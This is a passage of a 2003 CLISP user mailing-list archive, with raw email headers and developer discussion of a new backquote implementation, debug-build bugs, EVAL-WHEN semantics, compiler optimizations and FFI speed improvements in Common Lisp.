18xvJV-0004iM-00 for ; Tue, 25 Mar 2003 12:46:29 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out001.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030325204618.QQVQ29952.out001.verizon.net@loiso.podval.org>; Tue, 25 Mar 2003 14:46:18 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2PKlUTx031346; Tue, 25 Mar 2003 15:47:30 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2PKlRRd031342; Tue, 25 Mar 2003 15:47:27 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Kaz Kylheku Cc: clisp-list@lists.sourceforge.net References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 47 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out001.verizon.net from [151.203.42.128] at Tue, 25 Mar 2003 14:46:18 -0600 Subject: [clisp-list] Re: Actually ,,@ and ,@,@ does work in existing CLISP! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Mar 25 12:48:14 2003 X-Original-Date: 25 Mar 2003 15:47:27 -0500 > * In message > * On the subject of "Re: Actually ,,@ and ,@,@ does work in existing CLISP!" > * Sent on Tue, 25 Mar 2003 09:24:40 -0800 (PST) > * Honorable Kaz Kylheku writes: > > Anyway, I have completed the patch. It builds cleanly, the entire > testsuite passes, the ,@,@ stuff works, unquoting over #A arrays is > disallowed. My confidence in the implementation is quite high. good. I will integrate the patch. > All I need to do is add a whole lot more tests to tests/backquot.tst, that would be nice. > and then someone needs to take a look at the error messages in > src/new-backquote.lisp and translate them to French, German, etc. don't worry about that for now. > http://users.footprints.net/~kaz/clisp-backquote-patch.html : 1. who is "Pei-Yin Lin"? 2. please add a (C) note and the licensing terms. 3. you need a define_variable() for *READING-ARRAY* in init_reader() 4. why do you call bq-optimize in places.lisp? I thought that optimizations were controlled by a variable. 5. you will need to write a single ChangeLog entry for the whole thing (nor an incremental one). 6. It would be nice if you could send the patches against CVS head, not 2.30. Thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Any programming language is at its best before it is implemented and used. From csr21@cam.ac.uk Wed Mar 26 03:12:02 2003 Received: from rose.csi.cam.ac.uk ([131.111.8.13]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18y8oc-0003Ue-00 for ; Wed, 26 Mar 2003 03:11:31 -0800 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by rose.csi.cam.ac.uk with esmtp (Exim 4.12) id 18y8o6-0002Ny-00 for clisp-list@lists.sourceforge.net; Wed, 26 Mar 2003 11:10:58 +0000 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 18y8o5-0003AL-00 for ; Wed, 26 Mar 2003 11:10:57 +0000 To: CLISP Subject: Re: [clisp-list] Current CVS observations From: Christophe Rhodes In-Reply-To: (Sam Steingold's message of "25 Mar 2003 15:11:57 -0500") Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2 References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 26 03:13:01 2003 X-Original-Date: Wed, 26 Mar 2003 11:10:56 +0000 Sam Steingold writes: >> * In message >> * On the subject of "Re: [clisp-list] Current CVS observations" >> * Sent on Mon, 24 Mar 2003 16:13:31 +0000 >> * Honorable Christophe Rhodes writes: >> >> This time, when I tried building with --with-debug, the build seemed >> to hang while running interpreted.mem to compile the world... when I > > world? you mean "-c compiler.lisp"? > this can take a long time. OK, with --with-debug from a clean CVS checkout from yesterday, I'm back to PI behaving weirdly: csr21@mu:~/misc-cvs/clisp$ xxx/lisp.run -M xxx/lispinit.mem STACK depth: 16363 SP depth: 67109992 [...] [1]> pi 0.00282743338823081391L0 [2]> (rationalize pi) [... apparent hang ...] 1. Break [4]> 1.0L0 9.000000000000000L-5 So maybe long-float stuff is broken? If it helps, gcc was 2.95.4 from Debian, and clisp was configured with ./configure --with-debug --build xxx Let me know if there's anything else you'd like me to try on this one. >> [11]> (foo :bar 1) >> >> *** - foo ; not as expected > > fixed, thanks. Thanks. I'll try again (with a non-debug build) and see what happens now :-) Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 26 04:05:37 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18y9ew-0001es-00 for ; Wed, 26 Mar 2003 04:05:34 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 26 Mar 2003 09:55:06 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Mar 2003 09:54:46 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0313A179@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] on optimizations (was: New, from-scratch implementation of backqu ote.) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 26 04:06:14 2003 X-Original-Date: Wed, 26 Mar 2003 09:54:44 +0100 Hi, Kaz implicitly raised the topic on who/what component ought to do Lisp-level optimizations (or code-rewrites). Kaz Kylheku wrote: > (cons 'a (cons 'b (append a (append b c)))) >where the original implementation would put out: > (list* 'a 'b (append a b c)) >Profiling under CLISP shows that even for making a list of two cons >cells, one call to list* with three arguments is slightly faster than >two calls to cons, so this reduction appears worthwhile, and can be >done by a trivial cleanup pass. [164]> (disassemble #'(lambda (x y z) (cons x (cons y z)))) Disassembly of function :LAMBDA [...] 3 (CONS) 4 (CONS) 5 (SKIP&RET 4) # It could have been the bytecode (LIST* 2) One can argue that the best place for optimizations at the Lisp-level is the Lisp compiler[*]. Especially it's not the macro writer's job to do trivial transformations of degenerate or simple cases. This makes the macro's code clumsy and less readable. To me the bottom line is always the same: a compiler written with a human programmer in mind need not do such optimizations. It embeds assumptions which only apply to hand-written code. Such assumptions typically lead to stupid-looking restrictions like a line-length limit of 1024 bytes (see your favourite HTTP reference on URL length), a small nesting limit on loops etc. - Examples are abundant. A decade ago, trying to port CLISP to various platforms, we hit various C preprocessors who could not deal with CLISP's many C macros: expanded lines became too long, macro nesting was too deep, etc. We kicked al these products. IIRC, a result of this is that CLISP still contains utils/gcc-cccp.c, a working C preprocessor, instead of relying on the vendors one. We also hit numerous arbitrarily small restrictions in the C compiler itself, which each could be traced to an implicit assumption that hand-written C code would never look like what the C compiler got to see with CLISP. Some people have claimed that CLISP abuses the C preprocessor. I counter: it's a legitimate use. More on that another time. A compiler written with machine/lexers/macro-generators in mind gets to see code which never would be written by hand. IMHO, it should nevertheless produce good code. An important point is: Optimization cost analysis time that a compiler written for a human programmer need not spend. Maybe CLISP should look at DECLARE SPEED settings? [*] Talking about Lisp-level optimizations, I mean things like CONS of CONS->LIST*, either at the level of Lisp-code or byte-code rewrites. I do not request that a Lisp compiler shall find the possible optimizations of the application's domain, e.g. backtrack points for a Prolog written on top of Lisp. There are also many situations where the compiler cannot figure out whether an optimization is possible, without whole program analysis. Constant folding is a typical example, stack-allocation another one. Regards, Jorg Hohle. From csr21@cam.ac.uk Wed Mar 26 04:18:31 2003 Received: from rose.csi.cam.ac.uk ([131.111.8.13]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18y9qw-0000CY-00 for ; Wed, 26 Mar 2003 04:17:58 -0800 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by rose.csi.cam.ac.uk with esmtp (Exim 4.12) id 18y9qP-0003xy-00 for clisp-list@lists.sourceforge.net; Wed, 26 Mar 2003 12:17:25 +0000 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 18y9qO-0003DU-00 for ; Wed, 26 Mar 2003 12:17:24 +0000 To: CLISP Subject: Re: [clisp-list] Current CVS observations From: Christophe Rhodes In-Reply-To: (Christophe Rhodes's message of "Wed, 26 Mar 2003 11:10:56 +0000") Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2 References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 26 04:19:14 2003 X-Original-Date: Wed, 26 Mar 2003 12:17:24 +0000 Christophe Rhodes writes: > Thanks. I'll try again (with a non-debug build) and see what happens > now :-) OK, some more tidbits: Compiling (and not loading!) a file with the following contents (let () (defmacro foo () 'nil)) appears nonetheless to define the FOO macro in the REPL. This strikes me as positively weird. Compiling a file containing (defstruct foo a) (defmethod print-object ((x foo) stream) (pprint-logical-block (stream nil) (print-unreadable-object (x stream :type t :identity t) (print (foo-a x) stream)))) leads to two compiler messages, one of which causes a continuable error because of package locks: WARNING in (DEFMETHOD PRINT-OBJECT (# STREAM) ...)-2-1-1-1 in lines 2..5 : SETQ: assignment to the internal special symbol SYSTEM::*PRIN-LEVEL* WARNING in (DEFMETHOD PRINT-OBJECT (# STREAM) ...)-2-1-1-1 in lines 2..5 : variable SYSTEM::OBJ is not used. Misspelled or missing IGNORE declaration? clisp now compiles the first stage of sbcl to completion... I'll try running it soon, but there was another surprise: that MULTIPLE-VALUE-BIND was a special operator. I guess that is conforming if you provide the macro definition? It surprised me, is all -- why do you do that? Anyway, thanks for the help, Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From csr21@cam.ac.uk Wed Mar 26 04:43:36 2003 Received: from brown.csi.cam.ac.uk ([131.111.8.14]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yAFF-0000mA-00 for ; Wed, 26 Mar 2003 04:43:05 -0800 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by brown.csi.cam.ac.uk with esmtp (Exim 4.12) id 18yAEi-0003Pq-00 for clisp-list@lists.sourceforge.net; Wed, 26 Mar 2003 12:42:33 +0000 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 18yAEi-0003Ey-00 for ; Wed, 26 Mar 2003 12:42:32 +0000 To: CLISP Subject: Re: [clisp-list] Current CVS observations References: From: Christophe Rhodes In-Reply-To: (Christophe Rhodes's message of "Wed, 26 Mar 2003 12:17:24 +0000") Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 26 04:44:11 2003 X-Original-Date: Wed, 26 Mar 2003 12:42:32 +0000 Christophe Rhodes writes: > Compiling (and not loading!) a file with the following contents > (let () > (defmacro foo () 'nil)) > appears nonetheless to define the FOO macro in the REPL. This strikes > me as positively weird. And yet slightly more weirdness: Compiling the following: (let () (eval-when (:compile-toplevel :load-toplevel :execute) (defmacro foo () 'nil))) does not lead to a FOO macro being present after compilation. However, it doesn't lead to a FOO macro being present after loading the resulting .fas file, either. Loading the source file works as expected. Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 26 05:37:28 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yB5k-00089g-00 for ; Wed, 26 Mar 2003 05:37:20 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 26 Mar 2003 14:35:38 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Mar 2003 14:35:31 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0313A2C8@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 26 05:38:11 2003 X-Original-Date: Wed, 26 Mar 2003 14:35:24 +0100 Hi, please help me nuderstand some area of backquotes. Kaz Kylheku wrote: >Which reminds me that I should add some optimization for reducing >a constant list to a constant vector; we should be spitting out >the literal object: > #(1 2 (2 3) 3) Yes please: `(foo #(1 2 3) ,bar) should not call (vector 1 2 3) at run-time. Or at least I believe so. (list 'foo '#(1 2 3) bar) is the code I'd expect. [...] > (list 'system::backquote (vector 1 > (list 'system::unquote 'a) > 2)) > ==> `#(1 ,A 2) >This is a feature: we want the backquote notation to have a >list-based target language such that we can write code which writes >that language. This is great! Actually, I believe I posted several years ago to comp.lang.lisp on the topic of standardizing backquote internals (like in Scheme). I now believe that this not possible in CL (your e-mails here helped). But it's fine if it works in CLISP. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 26 05:51:16 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yBJB-00064L-00 for ; Wed, 26 Mar 2003 05:51:14 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Wed, 26 Mar 2003 14:51:04 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Mar 2003 14:50:45 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0313A2D6@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: csr21@cam.ac.uk MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Current CVS observations Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 26 05:52:08 2003 X-Original-Date: Wed, 26 Mar 2003 14:50:39 +0100 Christophe Rhodes wrote: >And yet slightly more weirdness: >Compiling the following: > (let () > (eval-when (:compile-toplevel :load-toplevel :execute) > (defmacro foo () 'nil))) >does not lead to a FOO macro being present after compilation. >However, it doesn't lead to a FOO macro being present after loading >the resulting .fas file, either. Loading the source file works as >expected. My understanding of ANSI-CL eval-when is that your expectations are wrong. Obviously, LET makes EVAL-WHEN not be at :*-toplevel. Thus everything happens as if NIL had been written instead of the whole eval-when form, at least in the compiler POV. No macro is seen. I think this is a clear benefit of the renaming/clarification that happened between CLtL2 and ANSI-CL. :load/compile-toplevel is more expressive (and restrictive) than just the terms "compile load". Another thing I once saw, but I'm not sure CLISP can be blamed on this. Expecting CLISP to sort out duplicate macro definitions for use by functions during compile-time of the same file is too much to be asked for: (defmacro fast-position (elt sequence start end) `(position ,elt ,sequence :start ,start :end ,end)) #+clisp ; fast position on strings, added by Joerg Hoehle 2003 (when #+clisp (fboundp (find-symbol "VECTOR-POSITION" "EXT")) #-clisp nil (defmacro fast-position (elt sequence start end) `(ext::vector-position ,elt ,sequence ,start ,end))) ;(macroexpand-1 '(fast-position #\; "a;b" 0 3)) (defun foo (x) (fast-position #\newline x)) Both definitions occur at top-level. Which one shall the compiler remember for use during compilation in the same file? It cannot know. So instead I wrote: (defmacro fast-position (elt sequence start end) (if #+clisp (fboundp (find-symbol "VECTOR-POSITION" "EXT")) #-clisp nil `(ext::vector-position ,elt ,sequence ,start ,end) `(position ,elt ,sequence :start ,start :end ,end))) Regards, Jorg Hohle. From csr21@cam.ac.uk Wed Mar 26 06:23:43 2003 Received: from rose.csi.cam.ac.uk ([131.111.8.13]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yBo6-0006K4-00 for ; Wed, 26 Mar 2003 06:23:11 -0800 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by rose.csi.cam.ac.uk with esmtp (Exim 4.12) id 18yBna-0003yJ-00; Wed, 26 Mar 2003 14:22:38 +0000 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 18yBnZ-0003K6-00; Wed, 26 Mar 2003 14:22:37 +0000 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net From: Christophe Rhodes In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0313A2D6@G8PQD.blf01.telekom.de> ("Hoehle, Joerg-Cyril"'s message of "Wed, 26 Mar 2003 14:50:39 +0100") Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2 References: <9F8582E37B2EE5498E76392AEDDCD3FE0313A2D6@G8PQD.blf01.telekom.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: Current CVS observations Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 26 06:24:31 2003 X-Original-Date: Wed, 26 Mar 2003 14:22:37 +0000 "Hoehle, Joerg-Cyril" writes: > Christophe Rhodes wrote: > >>And yet slightly more weirdness: >>Compiling the following: >> (let () >> (eval-when (:compile-toplevel :load-toplevel :execute) >> (defmacro foo () 'nil))) >>does not lead to a FOO macro being present after compilation. >>However, it doesn't lead to a FOO macro being present after loading >>the resulting .fas file, either. Loading the source file works as >>expected. > > My understanding of ANSI-CL eval-when is that your expectations are > wrong. Obviously, LET makes EVAL-WHEN not be at :*-toplevel. Thus > everything happens as if NIL had been written instead of the whole > eval-when form, at least in the compiler POV. No macro is seen. From the CLHS page for EVAL-WHEN The use of the situation :execute (or eval) controls whether evaluation occurs for other eval-when forms; that is, those that are not top level forms, or those in code processed by eval or compile. If the :execute situation is specified in such a form, then the body forms are processed as an implicit progn; otherwise, the eval-when form returns nil. and a non-normative example: ;;; The EVAL-WHEN in this case is not at toplevel, so only the :EXECUTE ;;; keyword is considered. At compile time, this has no effect. ;;; At load time (if the LET is at toplevel), or at execution time ;;; (if the LET is embedded in some other form which does not execute ;;; until later) this sets (SYMBOL-FUNCTION 'FOO1) to a function which ;;; returns 1. (let ((x 1)) (eval-when (:execute :load-toplevel :compile-toplevel) (setf (symbol-function 'foo1) #'(lambda () x)))) I quite agree that, at compile time, no side-effect should happen; however, at load or execution time, there had better be a side effect: note particularly the sentence "If the :execute situation ..." > (defmacro fast-position (elt sequence start end) > `(position ,elt ,sequence :start ,start :end ,end)) > #+clisp ; fast position on strings, added by Joerg Hoehle 2003 > (when #+clisp (fboundp (find-symbol "VECTOR-POSITION" "EXT")) #-clisp nil > (defmacro fast-position (elt sequence start end) > `(ext::vector-position ,elt ,sequence ,start ,end))) > ;(macroexpand-1 '(fast-position #\; "a;b" 0 3)) > (defun foo (x) (fast-position #\newline x)) > > Both definitions occur at top-level. No they don't. WHEN is not an operator that preserves top-levelness: only LOCALLY, MACROLET, SYMBOL-MACROLET and PROGN do that. Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 26 06:36:55 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18yC0W-0000wx-00 for ; Wed, 26 Mar 2003 06:36:00 -0800 Received: from gw11.telekom.de ([62.225.183.250]:13707 helo=fw11.telekom.de) by panoramix.vasoftware.com with esmtp (Exim 4.05-VA-mm1 #1 (Debian)) id 18yBzd-00054h-00 for ; Wed, 26 Mar 2003 06:35:05 -0800 Received: by fw11.telekom.de; (8.8.8/1.3/10May95) id PAA32442; Wed, 26 Mar 2003 15:10:17 +0100 (MET) Received: from g8pbr.blf01.telekom.de by G8PXB.blf01.telekom.de with ESMTP; Wed, 26 Mar 2003 15:11:17 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 26 Mar 2003 15:08:17 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0313A2DF@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: a.bignoli@computer.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Status: No, hits=1.6 required=7.0 tests=DOUBLE_CAPSWORD,SUPERLONG_LINE,MSG_ID_ADDED_BY_MTA_3 version=2.21 X-Spam-Level: * Subject: [clisp-list] Please try out FFI speed improvement Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 26 06:37:15 2003 X-Original-Date: Wed, 26 Mar 2003 15:08:15 +0100 Hi FFI users, Aurelio Bignoli wrote: >ad-hoc C function: > Real time: 0.181583 sec. >with-c-var/cast: > Real time: 1.494392 sec. Ouch! 10 times slower... >with-foreign-object/%cast > Real time: 0.638666 sec. WITH-FOREIGN-OBJECT still embeds a superfluous call to PARSE-C-TYPE. Could you please try out the following: ;; An initial attempt at better run-time behaviour: there is often ;; no need to reparse for every function call. ;; Even better would even be compile-time inlining of parse-c-type result, ;; when applicable (only combinations of uint, char, c-array etc., no c-struct nor def-c-type) (define-compiler-macro ffi::parse-c-type (typespec &optional name &whole form) (if (and (null name) (consp typespec) (eq 'QUOTE (car typespec))) `(LOAD-TIME-VALUE (FFI::PARSE-C-TYPE ',(cadr typespec))) form)) I expect this code to work under all (if not 98%) current uses of the CLISP FFI. Depending on LOAD-TIME-VALUE means that in theory, problems could occur with things not yet defined at the time a file is loaded (e.g. late definitions etc.). However, I believe there's very little use of this opportunity in actual code, since the FFI has been underspecified in this area anyway: When should a foreign type definition be available? Compile-time? X-time? So far, foreign1.lisp has (carelessly?) enforced a restrictive use on DEF-CALL-OUT etc. forms: the foreign types where (superfluously?) checked by the compiler, for the single benefit of knowing the argument count of a foreign function. This is not necessary (but nobody complained). Therefore, load-time-value should work well with (load&)compile-time known types. In a VM machine like CLISP, unlike native-code generation, there's little value in having C types known at compile-time. That's why I had no problem having WITH-FOREIGN-OBJECT and WITH-C-VAR evaluate the type, whereas e.g. CMUCL's WITH-ALIEN does not: #+clisp (with-foreign-object (x (compute-foreign-type)) body) #+clisp (with-foreign-object (x '(c-array uint8 32)) body) #+cmu (with-alien (x (array c-call:uint8 32)) body) Note the missing 'quote for CMUCL. Note that you'll need clisp>2.28, because of a bug-fix to compiler-macrolet which I reporetd a few month ago. Regards, Jorg Hohle. From sds@gnu.org Wed Mar 26 06:54:30 2003 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yCIQ-0008AL-00 for ; Wed, 26 Mar 2003 06:54:30 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop015.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030326145423.VEWB24156.pop015.verizon.net@loiso.podval.org>; Wed, 26 Mar 2003 08:54:23 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2QEtWTx004213; Wed, 26 Mar 2003 09:55:36 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2QEtQEV004209; Wed, 26 Mar 2003 09:55:26 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] Current CVS observations References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop015.verizon.net from [151.203.42.128] at Wed, 26 Mar 2003 08:54:23 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 26 06:55:14 2003 X-Original-Date: 26 Mar 2003 09:55:26 -0500 > * In message > * On the subject of "Re: [clisp-list] Current CVS observations" > * Sent on Wed, 26 Mar 2003 11:10:56 +0000 > * Honorable Christophe Rhodes writes: > > OK, with --with-debug from a clean CVS checkout from yesterday, I'm > back to PI behaving weirdly: > > csr21@mu:~/misc-cvs/clisp$ xxx/lisp.run -M xxx/lispinit.mem > STACK depth: 16363 > SP depth: 67109992 > [...] what did you snip? do you have a ~/.clisprc? > [1]> pi > 0.00282743338823081391L0 > [2]> (rationalize pi) > [... apparent hang ...] > 1. Break [4]> 1.0L0 > 9.000000000000000L-5 > > So maybe long-float stuff is broken? If it helps, gcc was 2.95.4 from > Debian, and clisp was configured with > ./configure --with-debug --build xxx > Let me know if there's anything else you'd like me to try on this one. (float pi 1d0) (sin pi) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux I don't have an attitude problem. You have a perception problem. From kaz@footprints.net Wed Mar 26 08:39:07 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18yDvB-000064-00 for ; Wed, 26 Mar 2003 08:38:37 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18yDuf-0004dV-00; Wed, 26 Mar 2003 08:38:05 -0800 From: Kaz Kylheku To: "Hoehle, Joerg-Cyril" cc: clisp-list@lists.sourceforge.net In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE0313A2C8@G8PQD.blf01.telekom.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: 